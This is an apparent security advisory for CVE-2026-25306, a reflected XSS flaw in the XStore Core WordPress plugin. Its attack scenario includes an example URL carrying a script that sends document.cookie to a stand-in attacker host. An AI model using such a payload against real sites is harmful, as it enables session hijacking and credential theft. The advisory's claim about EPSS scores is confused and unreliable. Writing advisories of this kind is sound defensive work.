Xstore Core CVE-2026-25306

The victim must visit a crafted URL containing malicious script in the XStore Core plugin (et-core-plugin) versions 5.6.4 and earlier. Requires victim to click/visit attacker-controlled link. No authentication needed; remote unauthenticated exploitation.

The real-world risk assessment is complicated by missing CVSS score and vector data; however, the vulnerability characteristics indicate moderate-to-high practical risk. As a reflected XSS in a widely-deployed WordPress plugin, the attack vector is network-based and requires no authentication, lowering the barrier to exploitation. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog as of available intelligence, suggesting active in-the-wild exploitation may be limited, though proof-of-concept code likely exists given the straightforward nature of reflected XSS flaws. The EPSS score is not provided, but reflected XSS vulnerabilities in plugins typically score in the 6.0-7.5 range due to their ease of exploitation and moderate business impact (session hijacking, defacement, credential theft). The practical impact depends on deployment context: sites with strong Content Security Policies and httponly cookie flags are more resilient. Organizations should prioritize patching given the ubiquity of WordPress and the ease of automated scanning for vulnerable plugin versions.

An attacker crafts a malicious URL containing a reflected XSS payload, such as 'https://victim-site.com/plugin-page?search=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', and sends it to a website user via phishing email or social media. When the victim clicks the link while logged into the vulnerable website, the injected JavaScript executes in their browser within the context of the legitimate domain, allowing the attacker to exfiltrate session cookies or authentication tokens. The reflected nature of the vulnerability means the payload is not stored on the server, making it difficult for security teams to detect without active monitoring of request parameters.